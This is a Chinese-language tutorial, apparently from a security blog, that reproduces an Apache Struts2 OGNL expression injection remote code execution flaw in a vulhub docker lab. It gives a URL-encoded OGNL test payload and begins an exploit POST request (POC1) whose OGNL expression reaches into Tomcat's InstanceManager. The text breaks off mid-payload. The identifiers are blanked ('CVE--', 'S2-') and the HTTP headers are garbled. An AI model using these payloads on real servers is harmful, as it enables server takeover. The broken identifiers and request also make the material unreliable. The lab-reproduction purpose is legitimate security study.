“近日,ApacheStruts官方发布安全公告,披露S2-Struts远程代码执行漏洞。该漏洞编号为CVE--,漏洞等级:高危,漏洞评分:9.8。ApacheStruts2框架在使用某些tag等情况下,可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。建议广大用户尽快将ApacheStruts框架升级至最新版本,并请做好资产自查以及预防工作,以免遭受黑客攻击”
01环境搭建
为了简化操作,漏洞环境使用docker进行,基于docker的开源漏洞靶场已经第一时间添加了S2-的环境,首先下载最新版本的vulhub,进入Struts2目录,选择S2-,拉起漏洞环境:
查看当前运行的docker容器,可以看到漏洞环境已经成功拉起,使用了服务器的端口:访问该IP下的端口,可以看到测试环境已经成功搭建,接下来就可以进行漏洞的复现操作了:02漏洞测试
在进行漏洞复现之前,先按照一般流程,测试该漏洞是否存在,此处我们使用以下Payload进行测试:
?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d
在浏览器地址栏中直接输入该Payload,可以看到执行了相加语句,可以证明此处存在S2-远程代码执行漏洞:
接下来,就可以开始进行漏洞复现利用了!03漏洞利用
目前该漏洞的利用POC主要有两个,使用POST方式提交数据,传入一个Payload,即可造成OGNL表达式执行,从而获取服务器信息乃至控制服务器权限,以下分别为两个POC:
POC1:
POST/HTTP/1.1Host.x.x.x:User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv3.0)Gecko/Firefox/83.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encodingzip,deflateConnection:closeContent-Type:multipart/form-data;boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length:------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Dispositionorm-data;name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["